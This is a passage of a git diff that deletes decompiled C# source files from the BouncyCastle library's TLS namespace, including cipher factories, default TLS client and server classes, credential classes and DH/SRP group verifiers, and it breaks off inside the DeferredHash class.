b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CompressionMethod.cs deleted file mode 100644 index e46acde..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CompressionMethod.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class CompressionMethod -{ - public const byte cls_null = 0; - - public const byte DEFLATE = 1; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ConnectionEnd.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ConnectionEnd.cs deleted file mode 100644 index f47b6d7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ConnectionEnd.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ConnectionEnd -{ - public const int server = 0; - - public const int client = 1; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ContentType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ContentType.cs deleted file mode 100644 index e4c1fdb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ContentType.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ContentType -{ - public const byte change_cipher_spec = 20; - - public const byte alert = 21; - - public const byte handshake = 22; - - public const byte application_data = 23; - - public const byte heartbeat = 24; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DatagramTransport.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DatagramTransport.cs deleted file mode 100644 index f28f1ed..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DatagramTransport.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface DatagramTransport -{ - int GetReceiveLimit(); - - int GetSendLimit(); - - int Receive(byte[] buf, int off, int len, int waitMillis); - - void Send(byte[] buf, int off, int len); - - void Close(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsAgreementCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsAgreementCredentials.cs deleted file mode 100644 index 9607137..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsAgreementCredentials.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Agreement; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DefaultTlsAgreementCredentials : AbstractTlsAgreementCredentials -{ - protected readonly Certificate mCertificate; - - protected readonly AsymmetricKeyParameter mPrivateKey; - - protected readonly IBasicAgreement mBasicAgreement; - - protected readonly bool mTruncateAgreement; - - public override Certificate Certificate => mCertificate; - - public DefaultTlsAgreementCredentials(Certificate certificate, AsymmetricKeyParameter privateKey) - { - if (certificate == null) - { - throw new ArgumentNullException("certificate"); - } - if (certificate.IsEmpty) - { - throw new ArgumentException("cannot be empty", "certificate"); - } - if (privateKey == null) - { - throw new ArgumentNullException("privateKey"); - } - if (!privateKey.IsPrivate) - { - throw new ArgumentException("must be private", "privateKey"); - } - if (privateKey is DHPrivateKeyParameters) - { - mBasicAgreement = new DHBasicAgreement(); - mTruncateAgreement = true; - } - else - { - if (!(privateKey is ECPrivateKeyParameters)) - { - throw new ArgumentException("type not supported: " + Platform.GetTypeName(privateKey), "privateKey"); - } - mBasicAgreement = new ECDHBasicAgreement(); - mTruncateAgreement = false; - } - mCertificate = certificate; - mPrivateKey = privateKey; - } - - public override byte[] GenerateAgreement(AsymmetricKeyParameter peerPublicKey) - { - mBasicAgreement.Init(mPrivateKey); - BigInteger n = mBasicAgreement.CalculateAgreement(peerPublicKey); - if (mTruncateAgreement) - { - return BigIntegers.AsUnsignedByteArray(n); - } - return BigIntegers.AsUnsignedByteArray(mBasicAgreement.GetFieldSize(), n); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsCipherFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsCipherFactory.cs deleted file mode 100644 index f3c2c22..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsCipherFactory.cs +++ /dev/null @@ -1,158 +0,0 @@ -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Modes; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DefaultTlsCipherFactory : AbstractTlsCipherFactory -{ - public override TlsCipher CreateCipher(TlsContext context, int encryptionAlgorithm, int macAlgorithm) - { - return encryptionAlgorithm switch - { - 7 => CreateDesEdeCipher(context, macAlgorithm), - 8 => CreateAESCipher(context, 16, macAlgorithm), - 15 => CreateCipher_Aes_Ccm(context, 16, 16), - 16 => CreateCipher_Aes_Ccm(context, 16, 8), - 10 => CreateCipher_Aes_Gcm(context, 16, 16), - 103 => CreateCipher_Aes_Ocb(context, 16, 12), - 9 => CreateAESCipher(context, 32, macAlgorithm), - 17 => CreateCipher_Aes_Ccm(context, 32, 16), - 18 => CreateCipher_Aes_Ccm(context, 32, 8), - 11 => CreateCipher_Aes_Gcm(context, 32, 16), - 104 => CreateCipher_Aes_Ocb(context, 32, 12), - 12 => CreateCamelliaCipher(context, 16, macAlgorithm), - 19 => CreateCipher_Camellia_Gcm(context, 16, 16), - 13 => CreateCamelliaCipher(context, 32, macAlgorithm), - 20 => CreateCipher_Camellia_Gcm(context, 32, 16), - 21 => CreateChaCha20Poly1305(context), - 0 => CreateNullCipher(context, macAlgorithm), - 2 => CreateRC4Cipher(context, 16, macAlgorithm), - 14 => CreateSeedCipher(context, macAlgorithm), - _ => throw new TlsFatalAlert(80), - }; - } - - protected virtual TlsBlockCipher CreateAESCipher(TlsContext context, int cipherKeySize, int macAlgorithm) - { - return new TlsBlockCipher(context, CreateAesBlockCipher(), CreateAesBlockCipher(), CreateHMacDigest(macAlgorithm), CreateHMacDigest(macAlgorithm), cipherKeySize); - } - - protected virtual TlsBlockCipher CreateCamelliaCipher(TlsContext context, int cipherKeySize, int macAlgorithm) - { - return new TlsBlockCipher(context, CreateCamelliaBlockCipher(), CreateCamelliaBlockCipher(), CreateHMacDigest(macAlgorithm), CreateHMacDigest(macAlgorithm), cipherKeySize); - } - - protected virtual TlsCipher CreateChaCha20Poly1305(TlsContext context) - { - return new Chacha20Poly1305(context); - } - - protected virtual TlsAeadCipher CreateCipher_Aes_Ccm(TlsContext context, int cipherKeySize, int macSize) - { - return new TlsAeadCipher(context, CreateAeadBlockCipher_Aes_Ccm(), CreateAeadBlockCipher_Aes_Ccm(), cipherKeySize, macSize); - } - - protected virtual TlsAeadCipher CreateCipher_Aes_Gcm(TlsContext context, int cipherKeySize, int macSize) - { - return new TlsAeadCipher(context, CreateAeadBlockCipher_Aes_Gcm(), CreateAeadBlockCipher_Aes_Gcm(), cipherKeySize, macSize); - } - - protected virtual TlsAeadCipher CreateCipher_Aes_Ocb(TlsContext context, int cipherKeySize, int macSize) - { - return new TlsAeadCipher(context, CreateAeadBlockCipher_Aes_Ocb(), CreateAeadBlockCipher_Aes_Ocb(), cipherKeySize, macSize, 2); - } - - protected virtual TlsAeadCipher CreateCipher_Camellia_Gcm(TlsContext context, int cipherKeySize, int macSize) - { - return new TlsAeadCipher(context, CreateAeadBlockCipher_Camellia_Gcm(), CreateAeadBlockCipher_Camellia_Gcm(), cipherKeySize, macSize); - } - - protected virtual TlsBlockCipher CreateDesEdeCipher(TlsContext context, int macAlgorithm) - { - return new TlsBlockCipher(context, CreateDesEdeBlockCipher(), CreateDesEdeBlockCipher(), CreateHMacDigest(macAlgorithm), CreateHMacDigest(macAlgorithm), 24); - } - - protected virtual TlsNullCipher CreateNullCipher(TlsContext context, int macAlgorithm) - { - return new TlsNullCipher(context, CreateHMacDigest(macAlgorithm), CreateHMacDigest(macAlgorithm)); - } - - protected virtual TlsStreamCipher CreateRC4Cipher(TlsContext context, int cipherKeySize, int macAlgorithm) - { - return new TlsStreamCipher(context, CreateRC4StreamCipher(), CreateRC4StreamCipher(), CreateHMacDigest(macAlgorithm), CreateHMacDigest(macAlgorithm), cipherKeySize, usesNonce: false); - } - - protected virtual TlsBlockCipher CreateSeedCipher(TlsContext context, int macAlgorithm) - { - return new TlsBlockCipher(context, CreateSeedBlockCipher(), CreateSeedBlockCipher(), CreateHMacDigest(macAlgorithm), CreateHMacDigest(macAlgorithm), 16); - } - - protected virtual IBlockCipher CreateAesEngine() - { - return new AesEngine(); - } - - protected virtual IBlockCipher CreateCamelliaEngine() - { - return new CamelliaEngine(); - } - - protected virtual IBlockCipher CreateAesBlockCipher() - { - return new CbcBlockCipher(CreateAesEngine()); - } - - protected virtual IAeadBlockCipher CreateAeadBlockCipher_Aes_Ccm() - { - return new CcmBlockCipher(CreateAesEngine()); - } - - protected virtual IAeadBlockCipher CreateAeadBlockCipher_Aes_Gcm() - { - return new GcmBlockCipher(CreateAesEngine()); - } - - protected virtual IAeadBlockCipher CreateAeadBlockCipher_Aes_Ocb() - { - return new OcbBlockCipher(CreateAesEngine(), CreateAesEngine()); - } - - protected virtual IAeadBlockCipher CreateAeadBlockCipher_Camellia_Gcm() - { - return new GcmBlockCipher(CreateCamelliaEngine()); - } - - protected virtual IBlockCipher CreateCamelliaBlockCipher() - { - return new CbcBlockCipher(CreateCamelliaEngine()); - } - - protected virtual IBlockCipher CreateDesEdeBlockCipher() - { - return new CbcBlockCipher(new DesEdeEngine()); - } - - protected virtual IStreamCipher CreateRC4StreamCipher() - { - return new RC4Engine(); - } - - protected virtual IBlockCipher CreateSeedBlockCipher() - { - return new CbcBlockCipher(new SeedEngine()); - } - - protected virtual IDigest CreateHMacDigest(int macAlgorithm) - { - return macAlgorithm switch - { - 0 => null, - 1 => TlsUtilities.CreateHash(1), - 2 => TlsUtilities.CreateHash(2), - 3 => TlsUtilities.CreateHash(4), - 4 => TlsUtilities.CreateHash(5), - 5 => TlsUtilities.CreateHash(6), - _ => throw new TlsFatalAlert(80), - }; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsClient.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsClient.cs deleted file mode 100644 index d9ccaf6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsClient.cs +++ /dev/null @@ -1,78 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class DefaultTlsClient : AbstractTlsClient -{ - protected TlsDHVerifier mDHVerifier; - - public DefaultTlsClient() - : this(new DefaultTlsCipherFactory()) - { - } - - public DefaultTlsClient(TlsCipherFactory cipherFactory) - : this(cipherFactory, new DefaultTlsDHVerifier()) - { - } - - public DefaultTlsClient(TlsCipherFactory cipherFactory, TlsDHVerifier dhVerifier) - : base(cipherFactory) - { - mDHVerifier = dhVerifier; - } - - public override int[] GetCipherSuites() - { - return new int[9] { 49195, 49187, 49161, 49199, 49191, 49171, 156, 60, 47 }; - } - - public override TlsKeyExchange GetKeyExchange() - { - int keyExchangeAlgorithm = TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite); - switch (keyExchangeAlgorithm) - { - case 7: - case 9: - case 11: - return CreateDHKeyExchange(keyExchangeAlgorithm); - case 3: - case 5: - return CreateDheKeyExchange(keyExchangeAlgorithm); - case 16: - case 18: - case 20: - return CreateECDHKeyExchange(keyExchangeAlgorithm); - case 17: - case 19: - return CreateECDheKeyExchange(keyExchangeAlgorithm); - case 1: - return CreateRsaKeyExchange(); - default: - throw new TlsFatalAlert(80); - } - } - - protected virtual TlsKeyExchange CreateDHKeyExchange(int keyExchange) - { - return new TlsDHKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mDHVerifier, null); - } - - protected virtual TlsKeyExchange CreateDheKeyExchange(int keyExchange) - { - return new TlsDheKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mDHVerifier, null); - } - - protected virtual TlsKeyExchange CreateECDHKeyExchange(int keyExchange) - { - return new TlsECDHKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mNamedCurves, mClientECPointFormats, mServerECPointFormats); - } - - protected virtual TlsKeyExchange CreateECDheKeyExchange(int keyExchange) - { - return new TlsECDheKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mNamedCurves, mClientECPointFormats, mServerECPointFormats); - } - - protected virtual TlsKeyExchange CreateRsaKeyExchange() - { - return new TlsRsaKeyExchange(mSupportedSignatureAlgorithms); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsDHVerifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsDHVerifier.cs deleted file mode 100644 index b4517da..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsDHVerifier.cs +++ /dev/null @@ -1,106 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Crypto.Agreement; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DefaultTlsDHVerifier : TlsDHVerifier -{ - public static readonly int DefaultMinimumPrimeBits; - - protected static readonly IList DefaultGroups; - - protected readonly IList mGroups; - - protected readonly int mMinimumPrimeBits; - - public virtual int MinimumPrimeBits => mMinimumPrimeBits; - - private static void AddDefaultGroup(DHParameters dhParameters) - { - DefaultGroups.Add(dhParameters); - } - - static DefaultTlsDHVerifier() - { - DefaultMinimumPrimeBits = 2048; - DefaultGroups = Platform.CreateArrayList(); - AddDefaultGroup(DHStandardGroups.rfc7919_ffdhe2048); - AddDefaultGroup(DHStandardGroups.rfc7919_ffdhe3072); - AddDefaultGroup(DHStandardGroups.rfc7919_ffdhe4096); - AddDefaultGroup(DHStandardGroups.rfc7919_ffdhe6144); - AddDefaultGroup(DHStandardGroups.rfc7919_ffdhe8192); - AddDefaultGroup(DHStandardGroups.rfc3526_1536); - AddDefaultGroup(DHStandardGroups.rfc3526_2048); - AddDefaultGroup(DHStandardGroups.rfc3526_3072); - AddDefaultGroup(DHStandardGroups.rfc3526_4096); - AddDefaultGroup(DHStandardGroups.rfc3526_6144); - AddDefaultGroup(DHStandardGroups.rfc3526_8192); - } - - public DefaultTlsDHVerifier() - : this(DefaultMinimumPrimeBits) - { - } - - public DefaultTlsDHVerifier(int minimumPrimeBits) - : this(DefaultGroups, minimumPrimeBits) - { - } - - public DefaultTlsDHVerifier(IList groups, int minimumPrimeBits) - { - mGroups = groups; - mMinimumPrimeBits = minimumPrimeBits; - } - - public virtual bool Accept(DHParameters dhParameters) - { - if (CheckMinimumPrimeBits(dhParameters)) - { - return CheckGroup(dhParameters); - } - return false; - } - - protected virtual bool AreGroupsEqual(DHParameters a, DHParameters b) - { - if (a != b) - { - if (AreParametersEqual(a.P, b.P)) - { - return AreParametersEqual(a.G, b.G); - } - return false; - } - return true; - } - - protected virtual bool AreParametersEqual(BigInteger a, BigInteger b) - { - if (a != b) - { - return a.Equals(b); - } - return true; - } - - protected virtual bool CheckGroup(DHParameters dhParameters) - { - foreach (DHParameters mGroup in mGroups) - { - if (AreGroupsEqual(dhParameters, mGroup)) - { - return true; - } - } - return false; - } - - protected virtual bool CheckMinimumPrimeBits(DHParameters dhParameters) - { - return dhParameters.P.BitLength >= MinimumPrimeBits; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsEncryptionCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsEncryptionCredentials.cs deleted file mode 100644 index 4cd4bff..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsEncryptionCredentials.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DefaultTlsEncryptionCredentials : AbstractTlsEncryptionCredentials -{ - protected readonly TlsContext mContext; - - protected readonly Certificate mCertificate; - - protected readonly AsymmetricKeyParameter mPrivateKey; - - public override Certificate Certificate => mCertificate; - - public DefaultTlsEncryptionCredentials(TlsContext context, Certificate certificate, AsymmetricKeyParameter privateKey) - { - if (certificate == null) - { - throw new ArgumentNullException("certificate"); - } - if (certificate.IsEmpty) - { - throw new ArgumentException("cannot be empty", "certificate"); - } - if (privateKey == null) - { - throw new ArgumentNullException("'privateKey' cannot be null"); - } - if (!privateKey.IsPrivate) - { - throw new ArgumentException("must be private", "privateKey"); - } - if (!(privateKey is RsaKeyParameters)) - { - throw new ArgumentException("type not supported: " + Platform.GetTypeName(privateKey), "privateKey"); - } - mContext = context; - mCertificate = certificate; - mPrivateKey = privateKey; - } - - public override byte[] DecryptPreMasterSecret(byte[] encryptedPreMasterSecret) - { - return TlsRsaUtilities.SafeDecryptPreMasterSecret(mContext, (RsaKeyParameters)mPrivateKey, encryptedPreMasterSecret); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsServer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsServer.cs deleted file mode 100644 index 5d646b8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsServer.cs +++ /dev/null @@ -1,122 +0,0 @@ -using Org.BouncyCastle.Crypto.Agreement; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class DefaultTlsServer : AbstractTlsServer -{ - public DefaultTlsServer() - { - } - - public DefaultTlsServer(TlsCipherFactory cipherFactory) - : base(cipherFactory) - { - } - - protected virtual TlsSignerCredentials GetDsaSignerCredentials() - { - throw new TlsFatalAlert(80); - } - - protected virtual TlsSignerCredentials GetECDsaSignerCredentials() - { - throw new TlsFatalAlert(80); - } - - protected virtual TlsEncryptionCredentials GetRsaEncryptionCredentials() - { - throw new TlsFatalAlert(80); - } - - protected virtual TlsSignerCredentials GetRsaSignerCredentials() - { - throw new TlsFatalAlert(80); - } - - protected virtual DHParameters GetDHParameters() - { - return DHStandardGroups.rfc7919_ffdhe2048; - } - - protected override int[] GetCipherSuites() - { - return new int[18] - { - 49200, 49199, 49192, 49191, 49172, 49171, 159, 158, 107, 103, - 57, 51, 157, 156, 61, 60, 53, 47 - }; - } - - public override TlsCredentials GetCredentials() - { - switch (TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite)) - { - case 3: - return GetDsaSignerCredentials(); - case 11: - case 20: - return null; - case 17: - return GetECDsaSignerCredentials(); - case 5: - case 19: - return GetRsaSignerCredentials(); - case 1: - return GetRsaEncryptionCredentials(); - default: - throw new TlsFatalAlert(80); - } - } - - public override TlsKeyExchange GetKeyExchange() - { - int keyExchangeAlgorithm = TlsUtilities.GetKeyExchangeAlgorithm(mSelectedCipherSuite); - switch (keyExchangeAlgorithm) - { - case 7: - case 9: - case 11: - return CreateDHKeyExchange(keyExchangeAlgorithm); - case 3: - case 5: - return CreateDheKeyExchange(keyExchangeAlgorithm); - case 16: - case 18: - case 20: - return CreateECDHKeyExchange(keyExchangeAlgorithm); - case 17: - case 19: - return CreateECDheKeyExchange(keyExchangeAlgorithm); - case 1: - return CreateRsaKeyExchange(); - default: - throw new TlsFatalAlert(80); - } - } - - protected virtual TlsKeyExchange CreateDHKeyExchange(int keyExchange) - { - return new TlsDHKeyExchange(keyExchange, mSupportedSignatureAlgorithms, null, GetDHParameters()); - } - - protected virtual TlsKeyExchange CreateDheKeyExchange(int keyExchange) - { - return new TlsDheKeyExchange(keyExchange, mSupportedSignatureAlgorithms, null, GetDHParameters()); - } - - protected virtual TlsKeyExchange CreateECDHKeyExchange(int keyExchange) - { - return new TlsECDHKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mNamedCurves, mClientECPointFormats, mServerECPointFormats); - } - - protected virtual TlsKeyExchange CreateECDheKeyExchange(int keyExchange) - { - return new TlsECDheKeyExchange(keyExchange, mSupportedSignatureAlgorithms, mNamedCurves, mClientECPointFormats, mServerECPointFormats); - } - - protected virtual TlsKeyExchange CreateRsaKeyExchange() - { - return new TlsRsaKeyExchange(mSupportedSignatureAlgorithms); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsSignerCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsSignerCredentials.cs deleted file mode 100644 index 6696e45..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsSignerCredentials.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DefaultTlsSignerCredentials : AbstractTlsSignerCredentials -{ - protected readonly TlsContext mContext; - - protected readonly Certificate mCertificate; - - protected readonly AsymmetricKeyParameter mPrivateKey; - - protected readonly SignatureAndHashAlgorithm mSignatureAndHashAlgorithm; - - protected readonly TlsSigner mSigner; - - public override Certificate Certificate => mCertificate; - - public override SignatureAndHashAlgorithm SignatureAndHashAlgorithm => mSignatureAndHashAlgorithm; - - public DefaultTlsSignerCredentials(TlsContext context, Certificate certificate, AsymmetricKeyParameter privateKey) - : this(context, certificate, privateKey, null) - { - } - - public DefaultTlsSignerCredentials(TlsContext context, Certificate certificate, AsymmetricKeyParameter privateKey, SignatureAndHashAlgorithm signatureAndHashAlgorithm) - { - if (certificate == null) - { - throw new ArgumentNullException("certificate"); - } - if (certificate.IsEmpty) - { - throw new ArgumentException("cannot be empty", "clientCertificate"); - } - if (privateKey == null) - { - throw new ArgumentNullException("privateKey"); - } - if (!privateKey.IsPrivate) - { - throw new ArgumentException("must be private", "privateKey"); - } - if (TlsUtilities.IsTlsV12(context) && signatureAndHashAlgorithm == null) - { - throw new ArgumentException("cannot be null for (D)TLS 1.2+", "signatureAndHashAlgorithm"); - } - if (privateKey is RsaKeyParameters) - { - mSigner = new TlsRsaSigner(); - } - else if (privateKey is DsaPrivateKeyParameters) - { - mSigner = new TlsDssSigner(); - } - else - { - if (!(privateKey is ECPrivateKeyParameters)) - { - throw new ArgumentException("type not supported: " + Platform.GetTypeName(privateKey), "privateKey"); - } - mSigner = new TlsECDsaSigner(); - } - mSigner.Init(context); - mContext = context; - mCertificate = certificate; - mPrivateKey = privateKey; - mSignatureAndHashAlgorithm = signatureAndHashAlgorithm; - } - - public override byte[] GenerateCertificateSignature(byte[] hash) - { - try - { - if (TlsUtilities.IsTlsV12(mContext)) - { - return mSigner.GenerateRawSignature(mSignatureAndHashAlgorithm, mPrivateKey, hash); - } - return mSigner.GenerateRawSignature(mPrivateKey, hash); - } - catch (CryptoException alertCause) - { - throw new TlsFatalAlert(80, alertCause); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsSrpGroupVerifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsSrpGroupVerifier.cs deleted file mode 100644 index 6927858..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DefaultTlsSrpGroupVerifier.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Crypto.Agreement.Srp; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DefaultTlsSrpGroupVerifier : TlsSrpGroupVerifier -{ - protected static readonly IList DefaultGroups; - - protected readonly IList mGroups; - - static DefaultTlsSrpGroupVerifier() - { - DefaultGroups = Platform.CreateArrayList(); - DefaultGroups.Add(Srp6StandardGroups.rfc5054_1024); - DefaultGroups.Add(Srp6StandardGroups.rfc5054_1536); - DefaultGroups.Add(Srp6StandardGroups.rfc5054_2048); - DefaultGroups.Add(Srp6StandardGroups.rfc5054_3072); - DefaultGroups.Add(Srp6StandardGroups.rfc5054_4096); - DefaultGroups.Add(Srp6StandardGroups.rfc5054_6144); - DefaultGroups.Add(Srp6StandardGroups.rfc5054_8192); - } - - public DefaultTlsSrpGroupVerifier() - : this(DefaultGroups) - { - } - - public DefaultTlsSrpGroupVerifier(IList groups) - { - mGroups = groups; - } - - public virtual bool Accept(Srp6GroupParameters group) - { - foreach (Srp6GroupParameters mGroup in mGroups) - { - if (AreGroupsEqual(group, mGroup)) - { - return true; - } - } - return false; - } - - protected virtual bool AreGroupsEqual(Srp6GroupParameters a, Srp6GroupParameters b) - { - if (a != b) - { - if (AreParametersEqual(a.N, b.N)) - { - return AreParametersEqual(a.G, b.G); - } - return false; - } - return true; - } - - protected virtual bool AreParametersEqual(BigInteger a, BigInteger b) - { - if (a != b) - { - return a.Equals(b); - } - return true; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DeferredHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DeferredHash.cs deleted file mode 100644 index 30f8551..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DeferredHash.cs +++ /dev/null @@ -1,193 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class DeferredHash : TlsHandshakeHash, IDigest -{ - protected const int BUFFERING_HASH_LIMIT = 4; - - protected TlsContext mContext; - - private DigestInputBuffer mBuf; - - private IDictionary mHashes; - - private int mPrfHashAlgorithm; - - public virtual string AlgorithmName - { - get - { - throw new InvalidOperationException("Use Fork() to get a definite IDigest"); - } - } - - internal DeferredHash() - { - mBuf = new DigestInputBuffer(); - mHashes = Platform.CreateHashtable(); - mPrfHashAlgorithm = -1; - } - - private DeferredHash(byte prfHashAlgorithm, IDigest prfHash) - { - mBuf = null; - mHashes = Platform.CreateHashtable(); - mPrfHashAlgorithm = prfHashAlgorithm; - mHashes[prfHashAlgorithm] = prfHash; - } - - public virtual void Init(TlsContext context) - { - mContext = context; - } - - public virtual TlsHandshakeHash NotifyPrfDetermined() - { - int prfAlgorithm = mContext.SecurityParameters.PrfAlgorithm; - if (prfAlgorithm == 0) - { - CombinedHash combinedHash = new CombinedHash(); - combinedHash.Init(mContext); - mBuf.UpdateDigest(combinedHash); - return combinedHash.NotifyPrfDetermined(); - } - mPrfHashAlgorithm = TlsUtilities.GetHashAlgorithmForPrfAlgorithm(prfAlgorithm); - CheckTrackingHash((byte)mPrfHashAlgorithm); - return this; - } - - public virtual void TrackHashAlgorithm(byte hashAlgorithm) - { - if (mBuf == null) - { - throw new InvalidOperationException("Too late to track more hash algorithms"); - } - CheckTrackingHash(hashAlgorithm); - } - - public virtual void SealHashAlgorithms() - { - CheckStopBuffering(); - } - - public virtual TlsHandshakeHash StopTracking() - { - byte b = (byte)mPrfHashAlgorithm; - IDigest digest = TlsUtilities.CloneHash(b, (IDigest)mHashes[b]); - if (mBuf != null) - { - mBuf.UpdateDigest(digest); - } - DeferredHash deferredHash = new DeferredHash(b, digest); - deferredHash.Init(mContext); - return deferredHash; - } - - public virtual IDigest ForkPrfHash() - { - CheckStopBuffering(); - byte b = (byte)mPrfHashAlgorithm; - if (mBuf != null) - { - IDigest digest = TlsUtilities.CreateHash(b); - mBuf.UpdateDigest(digest); - return digest; - } - return TlsUtilities.CloneHash(b, (IDigest)mHashes[b]); - } - - public virtual byte[] GetFinalHash(byte hashAlgorithm) - { - IDigest digest = (IDigest)mHashes[hashAlgorithm]; - if (digest == null) - { - throw new InvalidOperationException("HashAlgorithm." + HashAlgorithm.GetText(hashAlgorithm) + " is not being tracked"); - } - digest = TlsUtilities.CloneHash(hashAlgorithm, digest); - if (mBuf != null) - { - mBuf.UpdateDigest(digest); - } - return DigestUtilities.DoFinal(digest); - } - - public virtual int GetByteLength() - { - throw new InvalidOperationException("Use Fork() to get a definite IDigest"); - } - - public virtual int GetDigestSize() - { - throw new InvalidOperationException("Use Fork() to get a definite IDigest"); - } - - public virtual void Update(byte input) - { - if (mBuf != null) - { - mBuf.WriteByte(input); - return; - } - foreach (IDigest value in mHashes.Values) - { - value.Update(input); - } - } - - public virtual void BlockUpdate(byte[] input, int inOff, int len) - { - if (mBuf != null) - { - mBuf.Write(input, inOff, len); - return; - } - foreach (IDigest value in mHashes.Values) - { - value.BlockUpdate(input, inOff, len); - } - } - - public virtual int DoFinal(byte[] output, int outOff) - { - throw new InvalidOperationException("Use Fork() to get a definite IDigest"); - } - - public virtual void Reset() - { - if (mBuf != null) - { - mBuf.SetLength(0L); - return; - } - foreach (IDigest value in mHashes.Values) - { - value.Reset(); - } - } - - protected virtual void CheckStopBuffering() - { - if (mBuf == null || mHashes.Count > 4) - { - return; - } - foreach (IDigest value in mHashes.Values) - { - 